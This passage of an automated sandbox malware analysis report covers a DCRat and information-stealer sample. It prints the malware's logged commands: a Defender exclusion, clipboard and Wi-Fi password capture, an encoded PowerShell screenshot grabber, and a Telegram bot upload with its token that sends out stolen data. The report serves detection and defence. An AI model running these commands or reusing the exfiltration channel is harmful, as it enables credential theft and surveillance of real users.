cwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKA

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Built.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Built.exe, ParentProcessId: 3288, ParentProcessName: Built.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", ProcessId: 7740, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\Built.exe, ProcessId: 3288, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\QIjBj1l8We.exe, ProcessId: 6616, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\Built.exe, ProcessId: 3288, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\agentInto\ygzWE.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\agentInto\ygzWE.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, ParentProcessId: 4320, ParentProcessName: DCRatBuild.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\agentInto\ygzWE.vbe" , ProcessId: 6732, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8068, TargetFilename: C:\Users\user\AppData\Local\Temp\gkfhm5n3\gkfhm5n3.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe', CommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe', CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6220, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe', ProcessId: 7264, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gkfhm5n3\gkfhm5n3.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gkfhm5n3\gkfhm5n3.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKA

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Built.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Built.exe, ParentProcessId: 3288, ParentProcessName: Built.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", ProcessId: 7796, ProcessName: cmd.exe

Snort Signatures

ETPRO TROJAN DCRat Initial Checkin Server Response M4 - Source IP: 5.101.152.137 - Destination IP: 192.168.2.4

Timestamp:	06/21/24-04:29:08.213871
SID:	2850862
Source Port:	80
Destination Port:	54438
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: QIjBj1l8We.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://raw.githubusercontent.com/quivings/Solara/main/Files/Solara.Dir.zip

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\tasklist.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files\Adobe\Acrobat DC\Resource\Font\seCeUYjhGIFplo.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Recovery\fontdrvhost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Avira: detection malicious, Label: HEUR/AGEN.1306040
Source: C:\Program Files\Adobe\Acrobat DC\Resource\Font\seCeUYjhGIFplo.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen2
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Program Files\Windows Mail\StartMenuExperienceHost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984

Multi AV Scanner detection for dropped file

Source: C:\Program Files\Adobe\Acrobat DC\Resource\Font\seCeUYjhGIFplo.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files\Windows Mail\StartMenuExperienceHost.exe	ReversingLabs: Detection: 87%
Source: C:\Recovery\fontdrvhost.exe	ReversingLabs: Detection: 87%
Source: C:\Recovery\seCeUYjhGIFplo.exe	ReversingLabs: Detection: 87%
Source: C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\tasklist.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\Built.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	ReversingLabs: Detection: 20%

Multi AV Scanner detection for submitted file

Source: QIjBj1l8We.exe	Virustotal: Detection: 86%			Perma Link
Source: QIjBj1l8We.exe	ReversingLabs: Detection: 92%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\tasklist.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Adobe\Acrobat DC\Resource\Font\seCeUYjhGIFplo.exe	Joe Sandbox ML: detected
Source: C:\Recovery\fontdrvhost.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Adobe\Acrobat DC\Resource\Font\seCeUYjhGIFplo.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Windows Mail\StartMenuExperienceHost.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: QIjBj1l8We.exe

Joe Sandbox ML: detected

Source: libcurl.dll.14.dr

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_9d262530-b

Source: QIjBj1l8We.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\seCeUYjhGIFplo.exe
Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\669269bdeab909
Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Windows Mail\StartMenuExperienceHost.exe
Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Windows Mail\55b276f4edf653

Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.4:54417 version: TLS 1.2

Source:	Binary string: C:\src\vcpkg\buildtrees\curl\x64-windows-rel\lib\libcurl.pdb source: libcurl.dll.14.dr
Source:	Binary string: W.PDB/ source: x12.exe.0.dr

Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2850862 ETPRO TROJAN DCRat Initial Checkin Server Response M4 5.101.152.137:80 -> 192.168.2.4:54438

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /quivings/Solara/raw/main/Files/Solara.Dir.zip HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /quivings/Solara/main/Files/Solara.Dir.zip HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /quivings/Solara/main/Storage/patched.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133

Source: Joe Sandbox View

ASN Name: TELEGRAMRU TELEGRAMRU

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /quivings/Solara/raw/main/Files/Solara.Dir.zip HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /quivings/Solara/main/Files/Solara.Dir.zip HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /quivings/Solara/main/Storage/version.txt HTTP/1.1User-Agent: SolaraHost: raw.githubusercontent.com
Source: global traffic	HTTP traffic detected: GET /quivings/Solara/main/Storage/patched.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.1

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /bot6463842780:AAFaYRMI8L5vU1x4kT-GXUhqbxhmWpQtN6k/sendDocument HTTP/1.1Host: api.telegram.orgAccept-Encoding: identityContent-Length: 529394User-Agent: python-urllib3/2.2.1Content-Type: multipart/form-data; boundary=78f436dcf974873115ff8923a50ab021

Source: README.md48.14.dr	String found in binary or memory: http://c9.io).
Source: select.pyd.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: select.pyd.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: select.pyd.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: select.pyd.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: select.pyd.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: select.pyd.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: select.pyd.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: select.pyd.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: select.pyd.13.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: README.md48.14.dr	String found in binary or memory: http://encoding.spec.whatwg.org/).
Source: README.md48.14.dr	String found in binary or memory: http://github.com/
Source: README.md48.14.dr	String found in binary or memory: http://gruntjs.com/)
Source: select.pyd.13.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: select.pyd.13.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: select.pyd.13.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: select.pyd.13.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: select.pyd.13.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: README.md48.14.dr	String found in binary or memory: http://www.nodemailer.com/)
Source: README.md48.14.dr	String found in binary or memory: http://www.unicode.org/Public/MAPPINGS/)
Source: README.md48.14.dr	String found in binary or memory: http://yeoman.io/)
Source: README.md38.14.dr	String found in binary or memory: https://app.codecov.io/gh/inspect-js/has-proto/
Source: README.md16.14.dr	String found in binary or memory: https://app.codecov.io/gh/ljharb/es-errors/
Source: README.md38.14.dr	String found in binary or memory: https://codecov.io/gh/inspect-js/has-proto/branch/main/graphs/badge.svg
Source: README.md16.14.dr	String found in binary or memory: https://codecov.io/gh/ljharb/es-errors/branch/main/graphs/badge.svg
Source: libcurl.dll.14.dr	String found in binary or memory: https://curl.se/V
Source: libcurl.dll.14.dr	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: libcurl.dll.14.dr	String found in binary or memory: https://curl.se/docs/copyright.htmlD
Source: libcurl.dll.14.dr	String found in binary or memory: https://curl.se/docs/hsts.html
Source: libcurl.dll.14.dr	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: README.md38.14.dr	String found in binary or memory: https://david-dm.org/inspect-js/has-proto
Source: README.md38.14.dr	String found in binary or memory: https://david-dm.org/inspect-js/has-proto#info=devDependencies
Source: README.md38.14.dr	String found in binary or memory: https://david-dm.org/inspect-js/has-proto.svg
Source: README.md38.14.dr	String found in binary or memory: https://david-dm.org/inspect-js/has-proto/dev-status.svg
Source: README.md16.14.dr	String found in binary or memory: https://david-dm.org/ljharb/es-errors
Source: README.md16.14.dr	String found in binary or memory: https://david-dm.org/ljharb/es-errors#info=devDependencies
Source: README.md16.14.dr	String found in binary or memory: https://david-dm.org/ljharb/es-errors.svg
Source: README.md16.14.dr	String found in binary or memory: https://david-dm.org/ljharb/es-errors/dev-status.svg
Source: node.js0.14.dr	String found in binary or memory: https://git.io/debug_fd)
Source: mysql.js0.14.dr, cpp.js0.14.dr, vb.js0.14.dr, pgsql.js0.14.dr, r.js0.14.dr	String found in binary or memory: https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md
Source: loader.js.14.dr, editor.main.nls.zh-cn.js0.14.dr	String found in binary or memory: https://github.com/Microsoft/vscode/blob/master/LICENSE.txt
Source: README.md48.14.dr	String found in binary or memory: https://github.com/ashtuchkin/iconv-lite/blob/master/lib/index.d.ts)
Source: README.md48.14.dr	String found in binary or memory: https://github.com/ashtuchkin/iconv-lite/wiki/Node-v4-compatibility).
Source: README.md48.14.dr	String found in binary or memory: https://github.com/ashtuchkin/iconv-lite/wiki/Supported-Encodings).
Source: README.md48.14.dr	String found in binary or memory: https://github.com/ashtuchkin/iconv-lite/wiki/Use-Buffers-when-decoding).
Source: README.md48.14.dr	String found in binary or memory: https://github.com/bnoordhuis/node-iconv)
Source: README.md48.14.dr	String found in binary or memory: https://github.com/bnoordhuis/node-iconv).
Source: README.md48.14.dr	String found in binary or memory: https://github.com/danielgindi/node-autodetect-decoder-stream)
Source: README.md48.14.dr	String found in binary or memory: https://github.com/expressjs/body-parser)
Source: README.md38.14.dr	String found in binary or memory: https://github.com/inspect-js/has-proto/actions
Source: node.js0.14.dr	String found in binary or memory: https://github.com/joyent/node/issues/1726
Source: README.md16.14.dr	String found in binary or memory: https://github.com/ljharb)
Source: README.md16.14.dr	String found in binary or memory: https://github.com/ljharb/es-errors/actions
Source: sql.js.14.dr, redshift.js.14.dr, pla.js.14.dr, freemarker2.js.14.dr	String found in binary or memory: https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt
Source: README.md48.14.dr	String found in binary or memory: https://github.com/substack/node-browserify)
Source: README.md38.14.dr	String found in binary or memory: https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/inspect-js/h
Source: README.md16.14.dr	String found in binary or memory: https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/ljharb/es-er
Source: README.md16.14.dr	String found in binary or memory: https://img.shields.io/npm/dm/es-errors.svg
Source: README.md38.14.dr	String found in binary or memory: https://img.shields.io/npm/dm/has-proto.svg
Source: README.md16.14.dr	String found in binary or memory: https://img.shields.io/npm/l/es-errors.svg
Source: README.md38.14.dr	String found in binary or memory: https://img.shields.io/npm/l/has-proto.svg
Source: README.md16.14.dr	String found in binary or memory: https://nodei.co/npm/es-errors.png?downloads=true&stars=true
Source: README.md38.14.dr	String found in binary or memory: https://nodei.co/npm/has-proto.png?downloads=true&stars=true
Source: README.md48.14.dr	String found in binary or memory: https://nodei.co/npm/iconv-lite.png?downloads=true&downloadRank=true)
Source: README.md16.14.dr	String found in binary or memory: https://npm-stat.com/charts.html?package=es-errors
Source: README.md38.14.dr	String found in binary or memory: https://npm-stat.com/charts.html?package=has-proto
Source: README.md16.14.dr	String found in binary or memory: https://npmjs.org/package/es-errors
Source: README.md38.14.dr	String found in binary or memory: https://npmjs.org/package/has-proto
Source: README.md48.14.dr	String found in binary or memory: https://npmjs.org/packages/iconv-lite/)
Source: README.md16.14.dr	String found in binary or memory: https://tidelift.com/security
Source: README.md48.14.dr	String found in binary or memory: https://travis-ci.org/ashtuchkin/iconv-lite)
Source: README.md48.14.dr	String found in binary or memory: https://travis-ci.org/ashtuchkin/iconv-lite.svg?branch=master)
Source: README.md38.14.dr	String found in binary or memory: https://versionbadg.es/inspect-js/has-proto.svg
Source: README.md16.14.dr	String found in binary or memory: https://versionbadg.es/ljharb/es-errors.svg

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54417
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747

Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.4:54417 version: TLS 1.2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\agentInto\fontsessionruntime.exe	Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Local\Temp\Built.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ?? ? \Common Files\Desktop\NIKHQAIQAU.png
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ?? ? \Common Files\Desktop\NIKHQAIQAU.png
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ?? ? \Common Files\Desktop\LTKMYBSEYZ.pdf
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ?? ? \Common Files\Desktop\NWTVCDUMOB.jpg
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ?? ? \Common Files\Desktop\NWTVCDUMOB.jpg

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\Built.exe

File written: C:\Windows\System32\drivers\etc\hosts

Source: cmd.exe

Process created: 48

System Summary

Very long command line found

